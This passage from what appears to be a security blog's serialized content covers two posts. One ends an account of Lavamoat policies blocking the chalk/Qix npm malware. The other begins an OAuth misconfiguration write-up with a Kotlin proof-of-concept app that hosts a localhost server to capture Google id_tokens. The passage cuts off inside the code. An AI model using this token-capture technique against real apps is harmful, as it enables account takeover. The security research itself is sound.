this:",{"type":23,"tag":64,"props":109499,"children":109501},{"code":109500,"language":45191,"meta":7,"className":45189,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[109502],{"type":23,"tag":71,"props":109503,"children":109504},{"__ignoreMap":7},[109505,109517,109529,109540,109556,109563,109570,109582,109593,109613,109629,109636,109647,109667,109683,109690,109697],{"type":23,"tag":75,"props":109506,"children":109507},{"class":77,"line":78},[109508,109513],{"type":23,"tag":75,"props":109509,"children":109510},{"style":1266},[109511],{"type":29,"value":109512},"\"resources\"",{"type":23,"tag":75,"props":109514,"children":109515},{"style":94},[109516],{"type":29,"value":48214},{"type":23,"tag":75,"props":109518,"children":109519},{"class":77,"line":100},[109520,109525],{"type":23,"tag":75,"props":109521,"children":109522},{"style":110},[109523],{"type":29,"value":109524},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":75,"props":109526,"children":109527},{"style":94},[109528],{"type":29,"value":48214},{"type":23,"tag":75,"props":109530,"children":109531},{"class":77,"line":121},[109532,109536],{"type":23,"tag":75,"props":109533,"children":109534},{"style":110},[109535],{"type":29,"value":48222},{"type":23,"tag":75,"props":109537,"children":109538},{"style":94},[109539],{"type":29,"value":48214},{"type":23,"tag":75,"props":109541,"children":109542},{"class":77,"line":138},[109543,109548,109552],{"type":23,"tag":75,"props":109544,"children":109545},{"style":110},[109546],{"type":29,"value":109547},"        \"TextEncoder\"",{"type":23,"tag":75,"props":109549,"children":109550},{"style":94},[109551],{"type":29,"value":863},{"type":23,"tag":75,"props":109553,"children":109554},{"style":82},[109555],{"type":29,"value":48383},{"type":23,"tag":75,"props":109557,"children":109558},{"class":77,"line":161},[109559],{"type":23,"tag":75,"props":109560,"children":109561},{"style":94},[109562],{"type":29,"value":23908},{"type":23,"tag":75,"props":109564,"children":109565},{"class":77,"line":196},[109566],{"type":23,"tag":75,"props":109567,"children":109568},{"style":94},[109569],{"type":29,"value":36583},{"type":23,"tag":75,"props":109571,"children":109572},{"class":77,"line":220},[109573,109578],{"type":23,"tag":75,"props":109574,"children":109575},{"style":110},[109576],{"type":29,"value":109577},"    \"@ethereumjs/util\"",{"type":23,"tag":75,"props":109579,"children":109580},{"style":94},[109581],{"type":29,"value":48214},{"type":23,"tag":75,"props":109583,"children":109584},{"class":77,"line":248},[109585,109589],{"type":23,"tag":75,"props":109586,"children":109587},{"style":110},[109588],{"type":29,"value":48222},{"type":23,"tag":75,"props":109590,"children":109591},{"style":94},[109592],{"type":29,"value":48214},{"type":23,"tag":75,"props":109594,"children":109595},{"class":77,"line":270},[109596,109601,109605,109609],{"type":23,"tag":75,"props":109597,"children":109598},{"style":110},[109599],{"type":29,"value":109600},"        \"console.warn\"",{"type":23,"tag":75,"props":109602,"children":109603},{"style":94},[109604],{"type":29,"value":863},{"type":23,"tag":75,"props":109606,"children":109607},{"style":82},[109608],{"type":29,"value":15268},{"type":23,"tag":75,"props":109610,"children":109611},{"style":94},[109612],{"type":29,"value":118},{"type":23,"tag":75,"props":109614,"children":109615},{"class":77,"line":279},[109616,109621,109625],{"type":23,"tag":75,"props":109617,"children":109618},{"style":110},[109619],{"type":29,"value":109620},"        \"fetch\"",{"type":23,"tag":75,"props":109622,"children":109623},{"style":94},[109624],{"type":29,"value":863},{"type":23,"tag":75,"props":109626,"children":109627},{"style":82},[109628],{"type":29,"value":48383},{"type":23,"tag":75,"props":109630,"children":109631},{"class":77,"line":303},[109632],{"type":23,"tag":75,"props":109633,"children":109634},{"style":94},[109635],{"type":29,"value":48391},{"type":23,"tag":75,"props":109637,"children":109638},{"class":77,"line":322},[109639,109643],{"type":23,"tag":75,"props":109640,"children":109641},{"style":110},[109642],{"type":29,"value":48399},{"type":23,"tag":75,"props":109644,"children":109645},{"style":94},[109646],{"type":29,"value":48214},{"type":23,"tag":75,"props":109648,"children":109649},{"class":77,"line":340},[109650,109655,109659,109663],{"type":23,"tag":75,"props":109651,"children":109652},{"style":110},[109653],{"type":29,"value":109654},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":75,"props":109656,"children":109657},{"style":94},[109658],{"type":29,"value":863},{"type":23,"tag":75,"props":109660,"children":109661},{"style":82},[109662],{"type":29,"value":15268},{"type":23,"tag":75,"props":109664,"children":109665},{"style":94},[109666],{"type":29,"value":118},{"type":23,"tag":75,"props":109668,"children":109669},{"class":77,"line":349},[109670,109675,109679],{"type":23,"tag":75,"props":109671,"children":109672},{"style":110},[109673],{"type":29,"value":109674},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":23,"tag":75,"props":109676,"children":109677},{"style":94},[109678],{"type":29,"value":863},{"type":23,"tag":75,"props":109680,"children":109681},{"style":82},[109682],{"type":29,"value":48383},{"type":23,"tag":75,"props":109684,"children":109685},{"class":77,"line":363},[109686],{"type":23,"tag":75,"props":109687,"children":109688},{"style":94},[109689],{"type":29,"value":23908},{"type":23,"tag":75,"props":109691,"children":109692},{"class":77,"line":656},[109693],{"type":23,"tag":75,"props":109694,"children":109695},{"style":94},[109696],{"type":29,"value":346},{"type":23,"tag":75,"props":109698,"children":109699},{"class":77,"line":705},[109700],{"type":23,"tag":75,"props":109701,"children":109702},{"style":94},[109703],{"type":29,"value":369},{"type":23,"tag":32,"props":109705,"children":109706},{},[109707,109709,109715,109717,109723,109724,109729,109731,109737,109738,109744],{"type":29,"value":109708},"In this example, it restricts the ",{"type":23,"tag":71,"props":109710,"children":109712},{"className":109711},[],[109713],{"type":29,"value":109714},"@ethereumjs/util",{"type":29,"value":109716}," package to use only ",{"type":23,"tag":71,"props":109718,"children":109720},{"className":109719},[],[109721],{"type":29,"value":109722},"console.warn",{"type":29,"value":2721},{"type":23,"tag":71,"props":109725,"children":109727},{"className":109726},[],[109728],{"type":29,"value":45288},{"type":29,"value":109730}," functions, and to include only ",{"type":23,"tag":71,"props":109732,"children":109734},{"className":109733},[],[109735],{"type":29,"value":109736},"@ethereumjs/rlp",{"type":29,"value":2721},{"type":23,"tag":71,"props":109739,"children":109741},{"className":109740},[],[109742],{"type":29,"value":109743},"ethereum-cryptography",{"type":29,"value":109745}," packages.",{"type":23,"tag":32,"props":109747,"children":109748},{},[109749],{"type":29,"value":109750},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":23,"tag":32,"props":109752,"children":109753},{},[109754,109756,109762],{"type":29,"value":109755},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":23,"tag":940,"props":109757,"children":109760},{"href":109758,"rel":109759},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[944],[109761],{"type":29,"value":48569},{"type":29,"value":557},{"type":23,"tag":923,"props":109764,"children":109766},{"id":109765},"lavamoat-vs-qix-malware",[109767],{"type":29,"value":109768},"Lavamoat vs Qix Malware",{"type":23,"tag":32,"props":109770,"children":109771},{},[109772,109774,109779],{"type":29,"value":109773},"If a dApp were compromised with the Qix malware (say it used ",{"type":23,"tag":71,"props":109775,"children":109777},{"className":109776},[],[109778],{"type":29,"value":107619},{"type":29,"value":109780},"), it would need to perform the following actions to drain funds from a wallet:",{"type":23,"tag":2797,"props":109782,"children":109783},{},[109784,109796,109807,109818],{"type":23,"tag":2801,"props":109785,"children":109786},{},[109787,109789,109794],{"type":29,"value":109788},"Replace ",{"type":23,"tag":71,"props":109790,"children":109792},{"className":109791},[],[109793],{"type":29,"value":45288},{"type":29,"value":109795}," function to a custom one",{"type":23,"tag":2801,"props":109797,"children":109798},{},[109799,109801],{"type":29,"value":109800},"Access ",{"type":23,"tag":71,"props":109802,"children":109804},{"className":109803},[],[109805],{"type":29,"value":109806},"window.ethereum",{"type":23,"tag":2801,"props":109808,"children":109809},{},[109810,109812,109817],{"type":29,"value":109811},"Call original ",{"type":23,"tag":71,"props":109813,"children":109815},{"className":109814},[],[109816],{"type":29,"value":45288},{"type":29,"value":49405},{"type":23,"tag":2801,"props":109819,"children":109820},{},[109821],{"type":29,"value":109822},"Plus other actions not relevant here",{"type":23,"tag":32,"props":109824,"children":109825},{},[109826,109828,109834],{"type":29,"value":109827},"If the dApp is using Lavamoat with a generated policy for ",{"type":23,"tag":71,"props":109829,"children":109831},{"className":109830},[],[109832],{"type":29,"value":109833},"chalk 5.6.0",{"type":29,"value":109835}," (non-malicious version) it would look like this:",{"type":23,"tag":64,"props":109837,"children":109839},{"code":109838,"language":45191,"meta":7,"className":45189,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[109840],{"type":23,"tag":71,"props":109841,"children":109842},{"__ignoreMap":7},[109843,109855,109866,109886,109902,109909],{"type":23,"tag":75,"props":109844,"children":109845},{"class":77,"line":78},[109846,109851],{"type":23,"tag":75,"props":109847,"children":109848},{"style":1266},[109849],{"type":29,"value":109850},"\"chalk\"",{"type":23,"tag":75,"props":109852,"children":109853},{"style":94},[109854],{"type":29,"value":48214},{"type":23,"tag":75,"props":109856,"children":109857},{"class":77,"line":100},[109858,109862],{"type":23,"tag":75,"props":109859,"children":109860},{"style":110},[109861],{"type":29,"value":48222},{"type":23,"tag":75,"props":109863,"children":109864},{"style":94},[109865],{"type":29,"value":48214},{"type":23,"tag":75,"props":109867,"children":109868},{"class":77,"line":121},[109869,109874,109878,109882],{"type":23,"tag":75,"props":109870,"children":109871},{"style":110},[109872],{"type":29,"value":109873},"        \"navigator.userAgent\"",{"type":23,"tag":75,"props":109875,"children":109876},{"style":94},[109877],{"type":29,"value":863},{"type":23,"tag":75,"props":109879,"children":109880},{"style":82},[109881],{"type":29,"value":15268},{"type":23,"tag":75,"props":109883,"children":109884},{"style":94},[109885],{"type":29,"value":118},{"type":23,"tag":75,"props":109887,"children":109888},{"class":77,"line":138},[109889,109894,109898],{"type":23,"tag":75,"props":109890,"children":109891},{"style":110},[109892],{"type":29,"value":109893},"        \"navigator.userAgentData\"",{"type":23,"tag":75,"props":109895,"children":109896},{"style":94},[109897],{"type":29,"value":863},{"type":23,"tag":75,"props":109899,"children":109900},{"style":82},[109901],{"type":29,"value":48383},{"type":23,"tag":75,"props":109903,"children":109904},{"class":77,"line":161},[109905],{"type":23,"tag":75,"props":109906,"children":109907},{"style":94},[109908],{"type":29,"value":23908},{"type":23,"tag":75,"props":109910,"children":109911},{"class":77,"line":196},[109912],{"type":23,"tag":75,"props":109913,"children":109914},{"style":94},[109915],{"type":29,"value":36583},{"type":23,"tag":32,"props":109917,"children":109918},{},[109919,109921,109927],{"type":29,"value":109920},"That means that the chalk dependency can only access these two global attributes from ",{"type":23,"tag":71,"props":109922,"children":109924},{"className":109923},[],[109925],{"type":29,"value":109926},"navigator",{"type":29,"value":557},{"type":23,"tag":32,"props":109929,"children":109930},{},[109931,109933,109939],{"type":29,"value":109932},"When the compromised dApp would execute the malicious payload of ",{"type":23,"tag":71,"props":109934,"children":109936},{"className":109935},[],[109937],{"type":29,"value":109938},"chalk v5.6.1",{"type":29,"value":109940}," it would fail due to insufficient permissions:",{"type":23,"tag":32,"props":109942,"children":109943},{},[109944],{"type":23,"tag":15189,"props":109945,"children":109947},{"alt":61763,"src":109946},"/posts/supply-chain-attcks/error.png",[],{"type":23,"tag":32,"props":109949,"children":109950},{},[109951,109953,109958],{"type":29,"value":109952},"This error shows that the malware failed since it cannot redefine ",{"type":23,"tag":71,"props":109954,"children":109956},{"className":109955},[],[109957],{"type":29,"value":45288},{"type":29,"value":36670},{"type":23,"tag":64,"props":109960,"children":109962},{"code":109961},"TypeError#1: Cannot define property fetch, object is not extensible\n",[109963],{"type":23,"tag":71,"props":109964,"children":109965},{"__ignoreMap":7},[109966],{"type":29,"value":109961},{"type":23,"tag":24,"props":109968,"children":109970},{"id":109969},"lavamoat-in-practice",[109971],{"type":29,"value":109972},"Lavamoat In Practice",{"type":23,"tag":32,"props":109974,"children":109975},{},[109976,109978,109985],{"type":29,"value":109977},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":23,"tag":940,"props":109979,"children":109982},{"href":109980,"rel":109981},"https://osec.io/reports/lavamoat_audit_final.pdf",[944],[109983],{"type":29,"value":109984},"see the audit report",{"type":29,"value":31960},{"type":23,"tag":32,"props":109987,"children":109988},{},[109989],{"type":29,"value":109990},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":23,"tag":24,"props":109992,"children":109993},{"id":86969},[109994],{"type":29,"value":86972},{"type":23,"tag":32,"props":109996,"children":109997},{},[109998],{"type":29,"value":109999},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":23,"tag":32,"props":110001,"children":110002},{},[110003,110005,110010],{"type":29,"value":110004},"Version pinning and ",{"type":23,"tag":71,"props":110006,"children":110008},{"className":110007},[],[110009],{"type":29,"value":109446},{"type":29,"value":110011}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":23,"tag":14130,"props":110013,"children":110014},{},[110015],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":110017},[110018,110021,110022,110031,110032],{"id":107634,"depth":100,"text":107637,"children":110019},[110020],{"id":109269,"depth":121,"text":109272},{"id":109280,"depth":100,"text":109283},{"id":109296,"depth":100,"text":109299,"children":110023},[110024,110026,110028,110030],{"id":109307,"depth":121,"text":110025},"1. Version pinning in package.json",{"id":109437,"depth":121,"text":110027},"2. Use npm ci",{"id":109474,"depth":121,"text":110029},"3. Implement Lavamoat",{"id":109765,"depth":121,"text":109768},{"id":109969,"depth":100,"text":109972},{"id":86969,"depth":100,"text":86972},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":110037,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":110038,"description":110039,"date":110040,"author":110041,"image":110042,"isFeatured":15,"onBlogPage":15,"tags":110044,"body":110047,"_type":14157,"_id":112378,"_source":14159,"_file":112379,"_stem":112380,"_extension":14162},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[42397,42396],{"src":110043,"width":107603,"height":14},"/posts/oauth-misconfigurations/title.png",[110045,110046],"oAuth","exchanges",{"type":20,"children":110048,"toc":112365},[110049,110055,110060,110066,110086,110092,110097,110110,110115,110123,110137,110146,110155,110169,110177,110188,110248,110254,110266,110315,110321,110326,110339,110346,110357,110377,110396,110417,110423,110436,110441,110447,110466,111091,111096,111109,111970,111975,111980,111986,111991,111997,112002,112015,112055,112061,112074,112079,112112,112117,112122,112147,112152,112164,112321,112326,112330,112342,112347,112351,112356,112361],{"type":23,"tag":24,"props":110050,"children":110052},{"id":110051},"exploiting-oauth",[110053],{"type":29,"value":110054},"Exploiting OAuth",{"type":23,"tag":32,"props":110056,"children":110057},{},[110058],{"type":29,"value":110059},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":23,"tag":923,"props":110061,"children":110063},{"id":110062},"google-authentication-flows",[110064],{"type":29,"value":110065},"Google Authentication Flows",{"type":23,"tag":32,"props":110067,"children":110068},{},[110069,110071,110077,110079,110084],{"type":29,"value":110070},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":23,"tag":71,"props":110072,"children":110074},{"className":110073},[],[110075],{"type":29,"value":110076},"postMessage",{"type":29,"value":110078}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":23,"tag":71,"props":110080,"children":110082},{"className":110081},[],[110083],{"type":29,"value":80938},{"type":29,"value":110085}," to send the token back to the RP.",{"type":23,"tag":30116,"props":110087,"children":110089},{"id":110088},"gsi-new-flow",[110090],{"type":29,"value":110091},"GSI (New Flow)",{"type":23,"tag":32,"props":110093,"children":110094},{},[110095],{"type":29,"value":110096},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":23,"tag":27910,"props":110098,"children":110099},{},[110100,110105],{"type":23,"tag":2801,"props":110101,"children":110102},{},[110103],{"type":29,"value":110104},"Using FedCM API",{"type":23,"tag":2801,"props":110106,"children":110107},{},[110108],{"type":29,"value":110109},"Without using FedCM API",{"type":23,"tag":32,"props":110111,"children":110112},{},[110113],{"type":29,"value":110114},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":23,"tag":32,"props":110116,"children":110117},{},[110118],{"type":23,"tag":16596,"props":110119,"children":110120},{},[110121],{"type":29,"value":110122},"FedCM Method",{"type":23,"tag":32,"props":110124,"children":110125},{},[110126,110128,110135],{"type":29,"value":110127},"The FedCM method basically follows this ",{"type":23,"tag":940,"props":110129,"children":110132},{"href":110130,"rel":110131},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[944],[110133],{"type":29,"value":110134},"user experience",{"type":29,"value":110136},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":23,"tag":32,"props":110138,"children":110139},{},[110140,110142],{"type":29,"value":110141},"The normal flow, clicking the \"sign in\" button:\n",{"type":23,"tag":15189,"props":110143,"children":110145},{"alt":61763,"src":110144},"/posts/oauth-misconfigurations/image1.png",[],{"type":23,"tag":32,"props":110147,"children":110148},{},[110149,110151],{"type":29,"value":110150},"One-Tap popup shown when you open the page:\n",{"type":23,"tag":15189,"props":110152,"children":110154},{"alt":61763,"src":110153},"/posts/oauth-misconfigurations/image2.png",[],{"type":23,"tag":32,"props":110156,"children":110157},{},[110158,110160,110167],{"type":29,"value":110159},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":23,"tag":940,"props":110161,"children":110164},{"href":110162,"rel":110163},"https://github.com/w3c-fedid/FedCM/issues/429",[944],[110165],{"type":29,"value":110166},"FedCM auto-reauthentication",{"type":29,"value":110168},", which has certain preconditions that must be met.",{"type":23,"tag":32,"props":110170,"children":110171},{},[110172],{"type":23,"tag":16596,"props":110173,"children":110174},{},[110175],{"type":29,"value":110176},"Non-FedCM Method",{"type":23,"tag":32,"props":110178,"children":110179},{},[110180,110182,110187],{"type":29,"value":110181},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":23,"tag":71,"props":110183,"children":110185},{"className":110184},[],[110186],{"type":29,"value":110076},{"type":29,"value":1018},{"type":23,"tag":2797,"props":110189,"children":110190},{},[110191,110196,110220,110225,110236],{"type":23,"tag":2801,"props":110192,"children":110193},{},[110194],{"type":29,"value":110195},"The user clicks the sign in button",{"type":23,"tag":2801,"props":110197,"children":110198},{},[110199,110201,110207,110209,110214,110215],{"type":29,"value":110200},"RP opens a popup/iframe to ",{"type":23,"tag":940,"props":110202,"children":110205},{"href":110203,"rel":110204},"https://accounts.google.com/o/oauth2/v2/auth",[944],[110206],{"type":29,"value":110203},{"type":29,"value":110208}," with some important parameters like ",{"type":23,"tag":71,"props":110210,"children":110212},{"className":110211},[],[110213],{"type":29,"value":80770},{"type":29,"value":2721},{"type":23,"tag":71,"props":110216,"children":110218},{"className":110217},[],[110219],{"type":29,"value":51325},{"type":23,"tag":2801,"props":110221,"children":110222},{},[110223],{"type":29,"value":110224},"The user clicks the \"Continue\" button to authorize authentication",{"type":23,"tag":2801,"props":110226,"children":110227},{},[110228,110230],{"type":29,"value":110229},"They get redirected to ",{"type":23,"tag":940,"props":110231,"children":110234},{"href":110232,"rel":110233},"https://accounts.google.com/gsi/transform",[944],[110235],{"type":29,"value":110232},{"type":23,"tag":2801,"props":110237,"children":110238},{},[110239,110241,110246],{"type":29,"value":110240},"/gsi/transform sends the token back to the RP via ",{"type":23,"tag":71,"props":110242,"children":110244},{"className":110243},[],[110245],{"type":29,"value":110076},{"type":29,"value":110247}," (after some SYN/ACK messages)",{"type":23,"tag":30116,"props":110249,"children":110251},{"id":110250},"oauth-20-old-flow",[110252],{"type":29,"value":110253},"OAuth 2.0 Old Flow",{"type":23,"tag":32,"props":110255,"children":110256},{},[110257,110259,110264],{"type":29,"value":110258},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":23,"tag":71,"props":110260,"children":110262},{"className":110261},[],[110263],{"type":29,"value":80938},{"type":29,"value":110265}," provided in the URL and validated by a whitelist configuration:",{"type":23,"tag":2797,"props":110267,"children":110268},{},[110269,110273,110294,110298],{"type":23,"tag":2801,"props":110270,"children":110271},{},[110272],{"type":29,"value":110195},{"type":23,"tag":2801,"props":110274,"children":110275},{},[110276,110277,110282,110283,110288,110289],{"type":29,"value":110200},{"type":23,"tag":940,"props":110278,"children":110280},{"href":110203,"rel":110279},[944],[110281],{"type":29,"value":110203},{"type":29,"value":110208},{"type":23,"tag":71,"props":110284,"children":110286},{"className":110285},[],[110287],{"type":29,"value":80770},{"type":29,"value":2721},{"type":23,"tag":71,"props":110290,"children":110292},{"className":110291},[],[110293],{"type":29,"value":80938},{"type":23,"tag":2801,"props":110295,"children":110296},{},[110297],{"type":29,"value":110224},{"type":23,"tag":2801,"props":110299,"children":110300},{},[110301,110302,110307,110309],{"type":29,"value":110229},{"type":23,"tag":71,"props":110303,"children":110305},{"className":110304},[],[110306],{"type":29,"value":80938},{"type":29,"value":110308}," with the token in the query parameters or ",{"type":23,"tag":71,"props":110310,"children":110312},{"className":110311},[],[110313],{"type":29,"value":110314},"location.hash",{"type":23,"tag":30116,"props":110316,"children":110318},{"id":110317},"different-configurations",[110319],{"type":29,"value":110320},"Different Configurations",{"type":23,"tag":32,"props":110322,"children":110323},{},[110324],{"type":29,"value":110325},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":23,"tag":27910,"props":110327,"children":110328},{},[110329,110334],{"type":23,"tag":2801,"props":110330,"children":110331},{},[110332],{"type":29,"value":110333},"Authorized origins",{"type":23,"tag":2801,"props":110335,"children":110336},{},[110337],{"type":29,"value":110338},"Authorized redirect URIs",{"type":23,"tag":32,"props":110340,"children":110341},{},[110342],{"type":23,"tag":15189,"props":110343,"children":110345},{"alt":61763,"src":110344},"/posts/oauth-misconfigurations/image3.png",[],{"type":23,"tag":32,"props":110347,"children":110348},{},[110349,110351,110356],{"type":29,"value":110350},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":23,"tag":71,"props":110352,"children":110354},{"className":110353},[],[110355],{"type":29,"value":80770},{"type":29,"value":557},{"type":23,"tag":32,"props":110358,"children":110359},{},[110360,110362,110368,110370,110375],{"type":29,"value":110361},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":23,"tag":71,"props":110363,"children":110365},{"className":110364},[],[110366],{"type":29,"value":110367},"/oauth2/v2/auth",{"type":29,"value":110369}," by checking the ",{"type":23,"tag":71,"props":110371,"children":110373},{"className":110372},[],[110374],{"type":29,"value":51325},{"type":29,"value":110376}," query parameter.",{"type":23,"tag":32,"props":110378,"children":110379},{},[110380,110382,110387,110389,110394],{"type":29,"value":110381},"In the old flow, the ",{"type":23,"tag":71,"props":110383,"children":110385},{"className":110384},[],[110386],{"type":29,"value":80938},{"type":29,"value":110388}," parameter passed in the ",{"type":23,"tag":71,"props":110390,"children":110392},{"className":110391},[],[110393],{"type":29,"value":110367},{"type":29,"value":110395}," endpoint is validated against the authorized redirect URIs.",{"type":23,"tag":32,"props":110397,"children":110398},{},[110399,110401,110406,110408,110415],{"type":29,"value":110400},"Note that the new GSI flow can also have a different flow using ",{"type":23,"tag":71,"props":110402,"children":110404},{"className":110403},[],[110405],{"type":29,"value":80938},{"type":29,"value":110407}," validation. To execute this flow, you need to specify ",{"type":23,"tag":940,"props":110409,"children":110412},{"href":110410,"rel":110411},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[944],[110413],{"type":29,"value":110414},"login_uri",{"type":29,"value":110416}," while using the SDK.",{"type":23,"tag":923,"props":110418,"children":110420},{"id":110419},"localhost-exploit",[110421],{"type":29,"value":110422},"Localhost Exploit",{"type":23,"tag":32,"props":110424,"children":110425},{},[110426,110428,110434],{"type":29,"value":110427},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":23,"tag":71,"props":110429,"children":110431},{"className":110430},[],[110432],{"type":29,"value":110433},"localhost",{"type":29,"value":110435}," origin because it is considered trusted for local testing.",{"type":23,"tag":32,"props":110437,"children":110438},{},[110439],{"type":29,"value":110440},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":23,"tag":30116,"props":110442,"children":110444},{"id":110443},"exploit",[110445],{"type":29,"value":110446},"Exploit",{"type":23,"tag":32,"props":110448,"children":110449},{},[110450,110452,110457,110458,110464],{"type":29,"value":110451},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":23,"tag":71,"props":110453,"children":110455},{"className":110454},[],[110456],{"type":29,"value":110314},{"type":29,"value":24377},{"type":23,"tag":71,"props":110459,"children":110461},{"className":110460},[],[110462],{"type":29,"value":110463},"location.search",{"type":29,"value":110465},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":23,"tag":64,"props":110467,"children":110471},{"className":110468,"code":110469,"language":110470,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[110472],{"type":23,"tag":71,"props":110473,"children":110474},{"__ignoreMap":7},[110475,110504,110523,110530,110537,110556,110567,110578,110609,110632,110679,110686,110693,110700,110707,110727,110758,110769,110776,110783,110802,110825,110836,110855,110870,110881,110904,110939,110958,110965,110976,110999,111010,111022,111029,111036,111043,111050,111057,111084],{"type":23,"tag":75,"props":110476,"children":110477},{"class":77,"line":78},[110478,110483,110487,110491,110495,110499],{"type":23,"tag":75,"props":110479,"children":110480},{"style":82},[110481],{"type":29,"value":110482}," override",{"type":23,"tag":75,"props":110484,"children":110485},{"style":82},[110486],{"type":29,"value":17474},{"type":23,"tag":75,"props":110488,"children":110489},{"style":88},[110490],{"type":29,"value":81625},{"type":23,"tag":75,"props":110492,"children":110493},{"style":94},[110494],{"type":29,"value":81630},{"type":23,"tag":75,"props":110496,"children":110497},{"style":104},[110498],{"type":29,"value":81635},{"type":23,"tag":75,"props":110500,"children":110501},{"style":94},[110502],{"type":29,"value":110503},"?){\n",{"type":23,"tag":75,"props":110505,"children":110506},{"class":77,"line":100},[110507,110511,110515,110519],{"type":23,"tag":75,"props":110508,"children":110509},{"style":82},[110510],{"type":29,"value":81648},{"type":23,"tag":75,"props":110512,"children":110513},{"style":94},[110514],{"type":29,"value":557},{"type":23,"tag":75,"props":110516,"children":110517},{"style":88},[110518],{"type":29,"value":81657},{"type":23,"tag":75,"props":110520,"children":110521},{"style":94},[110522],{"type":29,"value":81662},{"type":23,"tag":75,"props":110524,"children":110525},{"class":77,"line":121},[110526],{"type":23,"tag":75,"props":110527,"children":110528},{"emptyLinePlaceholder":15},[110529],{"type":29,"value":276},{"type":23,"tag":75,"props":110531,"children":110532},{"class":77,"line":138},[110533],{"type":23,"ta